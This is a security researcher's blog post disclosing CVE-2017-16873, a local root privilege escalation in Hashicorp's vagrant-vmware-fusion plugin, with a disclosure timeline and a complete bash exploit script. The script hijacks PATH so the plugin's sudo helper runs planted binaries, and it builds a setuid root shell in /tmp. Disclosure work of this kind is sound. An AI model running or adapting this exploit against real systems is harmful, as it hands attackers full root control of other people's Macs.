CVE-2017-16873 Hashicorp vagrant-vmware-fusion v4.0.25-5.0.4 local root

28 Mar 2018 07:22 | macOS | security | exploits

This issue was reported to Hashicorp on 16/11/17. At first they claimed it was
low priority because it required local access, despite being a straight-to-root
escalation. Then they conceded that this wasn't reasonable and said it was high
priority and that they would address it.

It has taken until this week to get their fixes out, involving an entire rewrite
of the vagrant plugin architecture in order to make it secure. However the issue
could have been patched much quicker as it was a simple system() execution
without path scrubbing.

So now there is a new unified plugin - vagrant-vmware-desktop - which is meant
to be more secure. Unfortunately their initial attempt failed to remove the old
plugin from the system, even if you explicitly uninstall it, leaving it
vulnerable.

As of 07:22 on 28/03/18 there is one new update of the new
vmware-vagrant-desktop plugin - version 1.0.1 - which also still does not seem
to cause the old plugin to be removed. Hopefully this will be addressed soon.

Right now though I guess you could call this 0day since the two releases that
were meant to fix it apparently don't work unless you follow the update notes
and manually remove the old plugin.

---- update 28/03/18 20:56 ----

Turns out the issue is fixed, it just doesn't do the cleanup of the old plugin
until you execute vagrant. Seems odd not to do this during the installation
process but oh well, at least it works.

https://m4.rkw.io/vagrant_vmware_privesc_4.0.25-5.0.4.sh.txt
f8fbea90f70e978a8178d45930fff05477e2836204d9d81b6ddad73a338cfb66
--------------------------------------------------------------------------------
#!/bin/bash
echo
echo "################################################################"
echo "# vagrant_vmware_fusion plugin 4.0.25-5.0.4 local root privesc #"
echo "# by m4rkw - https://m4.rkw.io/blog.html                       #";
echo "################################################################"
echo

cleanup() {
  rm -rf ~/.vagrant_vmware_fusion_504_exp
  mv -f ~/.vagrant.d/gems/$gem_version/gems/vagrant-vmware-fusion-$plugin_version/lib/vagrant-vmware-fusion/driver.rb.orig ~/.vagrant.d/gems/$gem_version/gems/vagrant-vmware-fusion-$plugin_version/lib/vagrant-vmware-fusion/driver.rb
}

gem_version="2.4.2"
plugin_version=`ls ~/.vagrant.d/gems/*/gems/ |grep vagrant-vmware-fusion |cut -d '-' -f4 |tail -n1`

cat > /tmp/vvp_504.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash","-c","rm -f /tmp/vvp_504; /bin/bash",NULL);
  return 0;
}
EOF
gcc -o /tmp/vvp_504 /tmp/vvp_504.c
rm -f /tmp/vvp_504.c

cd
mkdir .vagrant_vmware_fusion_504_exp
cd .vagrant_vmware_fusion_504_exp

if [ ! -e ~/.vagrant.d/gems/$gem_version/gems/vagrant-vmware-fusion-$plugin_version/lib/vagrant-vmware-fusion/driver.rb.orig ] ; then
  mv ~/.vagrant.d/gems/$gem_version/gems/vagrant-vmware-fusion-$plugin_version/lib/vagrant-vmware-fusion/driver.rb ~/.vagrant.d/gems/$gem_version/gems/vagrant-vmware-fusion-$plugin_version/lib/vagrant-vmware-fusion/driver.rb.orig
fi

cat > ~/.vagrant.d/gems/$gem_version/gems/vagrant-vmware-fusion-$plugin_version/lib/vagrant-vmware-fusion/driver.rb <<EOF
system("/Users/#{ENV["USER"]}/.vagrant.d/gems/$gem_version/gems/vagrant-vmware-fusion-$plugin_version/bin/vagrant_vmware_desktop_sudo_helper_darwin_amd64 vmnet -status")
exit 0
EOF

success=0

export PATH=.:$PATH

function attempt()
{
  cat > /tmp/vvp_504.c <<EOF
#include <unistd.h>
#include <stdlib.h>
int main(int ac, char *av[])
{
  if (geteuid() == 0) {
    setuid(0);
    setgid(0);
    system("chown root:wheel /tmp/vvp_504");
    system("chmod 4755 /tmp/vvp_504");
  }
  execv("/usr/bin/$1",av);
  return 0;
}
EOF
  gcc -o $1 /tmp/vvp_504.c
  rm -f /tmp/vvp_504.c

  `ruby ~/.vagrant.d/gems/$gem_version/gems/vagrant-vmware-fusion-$plugin_version/lib/vagrant-vmware-fusion/driver.rb 2>/dev/null`

  r=`ls -la /tmp/vvp_504 |grep '\-rws' |grep root`

  if [ "$r" != "" ] ; then
    cleanup
    cd
    /tmp/vvp_504
    exit 0
  else
    rm -f $1
  fi
}

attempt "lsof"
attempt "sed"
attempt "awk"

cleanup

echo "not vulnerable"